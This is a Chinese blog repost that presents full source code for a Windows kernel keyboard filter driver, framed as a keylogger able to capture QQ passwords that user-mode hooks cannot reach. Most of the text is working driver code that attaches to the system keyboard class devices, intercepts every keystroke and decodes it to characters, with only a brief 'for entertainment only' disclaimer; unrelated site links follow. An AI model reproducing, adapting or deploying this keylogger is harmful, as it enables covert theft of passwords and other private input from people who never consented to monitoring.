键盘记录器,可截获到 QQ 的密码「建议收藏」

键盘记录器,可截获到 QQ 的密码「建议收藏」虽然QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!

大家好,又见面了,我是你们的朋友全栈君。

        由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1

#include <ntddk.h>
#include <ntstrsafe.h>

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E
};

NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    );



VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    int i = 0;

    KdPrint(("This is my driver, Henzox!\n"));

    pDriverObject->DriverUnload = KMUnload;

    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
        pDriverObject->MajorFunction[i] = KMUnHandleIrp;
    } 

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
    pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
    pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

    return KMAddDevice(pDriverObject, puServiceRegPath);
}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PDEVICE_OBJECT tmpDevice;
    PMY_DEVICE_EXTENSION myDeviceExtension;

    KdPrint(("The unload function is invoked!\n"));

    tmpDevice = pDriverObject->DeviceObject;
    while (tmpDevice) {
        PDEVICE_OBJECT nextDevice;

        KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
        myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
        // 如果还有完成例程没有执行,则取消掉这个完成例程
		if (myDeviceExtension->IslCompletion) {
		    myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
            // 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除
			myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
		}
        IoDetachDevice(myDeviceExtension->AttachedTo);
        nextDevice = tmpDevice->NextDevice;
        IoDeleteDevice(tmpDevice);
        tmpDevice = nextDevice;
    }
}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    
    KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
    
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMOpenClose.\n"));

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
    return STATUS_SUCCESS;
}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

    KdPrint(("KMPnp.\n"));
    
	switch (pIo->MinorFunction) {
	default:
        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
        break;
    }

    return STATUS_SUCCESS;
}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMPower.\n"));

    IoSkipCurrentIrpStackLocation(Irp);
    PoStartNextPowerIrp(Irp);
    return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    UNICODE_STRING usObjectName;
    PDRIVER_OBJECT KbdDriver;
    NTSTATUS status;
    PDEVICE_OBJECT tmpDevice, myDevice;
    UNICODE_STRING usDeviceName;
    WCHAR buff[64];
    int index = 0;
    PMY_DEVICE_EXTENSION DeviceExtension;

    RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

    status = ObReferenceObjectByName(&usObjectName,
                                     OBJ_CASE_INSENSITIVE,
                                     NULL,
                                     0,
                                     IoDriverObjectType,
                                     KernelMode,
                                     NULL,
                                     (PVOID)&KbdDriver);
	if (!NT_SUCCESS(status)) {
        KdPrint(("Find the kbd class failed!\n"));
		return status;
    }

    tmpDevice = KbdDriver->DeviceObject;
    while (tmpDevice) {
		swprintf(buff, L"\\Device\\MyDevice%d", index++);
        RtlInitUnicodeString(&usDeviceName, buff);
        status = IoCreateDevice(pDriverObject,
                                sizeof(MY_DEVICE_EXTENSION),
                                &usDeviceName,
                                tmpDevice->DeviceType,
                                tmpDevice->Characteristics,
                                FALSE,
                                &myDevice);
        if (!NT_SUCCESS(status)) {
            ObDereferenceObject(KbdDriver);
			return status;
        }
        
        KdPrint(("devobj: 0x%p.\n",myDevice));

        IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));			// 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

        tmpDevice = tmpDevice->NextDevice;
    }

    ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

    //KdPrint(("KMRead.\n"));

    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
	   如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
	/*IoSetCompletionRoutine(Irp,
                           KMReadCompletion,
                           NULL,
                           TRUE,
                           TRUE,
                           TRUE);*/

    IoSetCompletionRoutineEx(DeviceObject,
                             Irp,
                             KMReadCompletion,
                             NULL,
                             TRUE,
                             TRUE,
                             TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

    //KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
	/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

	if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即长度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0) {
            /* 键盘被按下 */
			switch (buff[2]) {
			case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
			case 0x2A:
			case 0x36:
                g_shift = 1;
                break;
			case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
			default:
                KMPrintKey(buff[2]);
                break;
            }
		} else if (buff[4] == 1) {
            /* 键盘被释放 */
			switch (buff[2]) {
			case 0x2A:
			case 0x36:
                g_shift = 0;
                break;
			default: break;
            }
        }
    }

    if (Irp->PendingReturned) {
        IoMarkIrpPending(Irp);
    }

    return Irp->IoStatus.Status;
}

void KMPrintKey(UCHAR sch)
{
    UCHAR ch = 0;
    if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
        ch = asciiTbl[sch];
        if(g_shift && g_caps)
            ch = asciiTbl[sch+84*3];
        else if(g_shift==1)
            ch = asciiTbl[sch+84*2];
        else if(g_caps==1)
            ch = asciiTbl[sch+84];
	}

	if(ch==0x08)
	{
		//DbgPrint("退格");
	}

	if (ch >= 0x20 && ch < 0x7F)
	{
		DbgPrint("%C",ch);
	}
}

        键盘映射表来源于网络。整段代码仅供娱乐使用。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/162193.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月20日 上午11:36
下一篇 2022年7月20日 上午11:46


相关推荐

  • 二叉树前序遍历Java「建议收藏」

    二叉树前序遍历Java「建议收藏」二叉树的前序遍历给你二叉树的根节点root,返回它节点值的前序遍历。示例1:输入:root=[1,null,2,3]输出:[1,2,3]示例2:输入:root=[]输出:[]示例3:输入:root=[1]输出:[1]示例4:输入:root=[1,2]输出:[1,2]示例5:输入:root=[1,null,2]输出:[1,2]方法:迭代思路:建立一个ArrayList数组进行储存元素顺序声明一个栈,按照根左右的顺序数组先a

    2025年9月5日
    9
  • Doubao-1.5-pro:字节跳动最新豆包大模型,性能超越GPT-4o和Claude 3.5 Sonnet

    Doubao-1.5-pro:字节跳动最新豆包大模型,性能超越GPT-4o和Claude 3.5 Sonnet

    2026年3月12日
    2
  • 微信小程序快速接口编写

    微信小程序快速接口编写

    2021年9月17日
    92
  • 内存屏障 – MemoryBarrier[通俗易懂]

    内存屏障 – MemoryBarrier[通俗易懂]处理器的乱序和并发执行目前的高级处理器,为了提高内部逻辑元件的利用率以提高运行速度,通常会采用多指令发射、乱序执行等各种措施。现在普遍使用的一些超标量处理器通常能够在一个指令周期内并发执行多条指令。处理器从L1I-Cache预取了一批指令后,就会分析找出那些互相没有关联可以并发执行的指令,然后送到几个独立的执行单元进行并发执行。比如下面这样的代码(假定编译器不做优化):  z

    2022年7月12日
    22
  • GO分析-GOseq的使用教程[通俗易懂]

    GO分析-GOseq的使用教程[通俗易懂]GOseq的介绍GOseq是一个R包,用于寻找GOterms,即基因富集分析。此方法基于Walleniusnon-centralhyper-geometricdistribution。相对

    2022年8月6日
    11
  • js排序方法

    js排序方法这里写自定义目录标题欢迎使用 Markdown 编辑器新的改变功能快捷键合理的创建标题 有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中 居左 居右 SmartyPants 创建一个自定义列表如何创建一个注脚注释也是必不可少的 KaTeX 数学公式新的甘特图功能 丰富你的文章 UML 图表 FLowchart 流程图导出与导入导出导入欢迎使用 Markdown 编辑器你好 这是你第一次使用 Markdown 编辑器所展示的欢迎页 如果你想学习如何使用 Mar

    2026年3月18日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号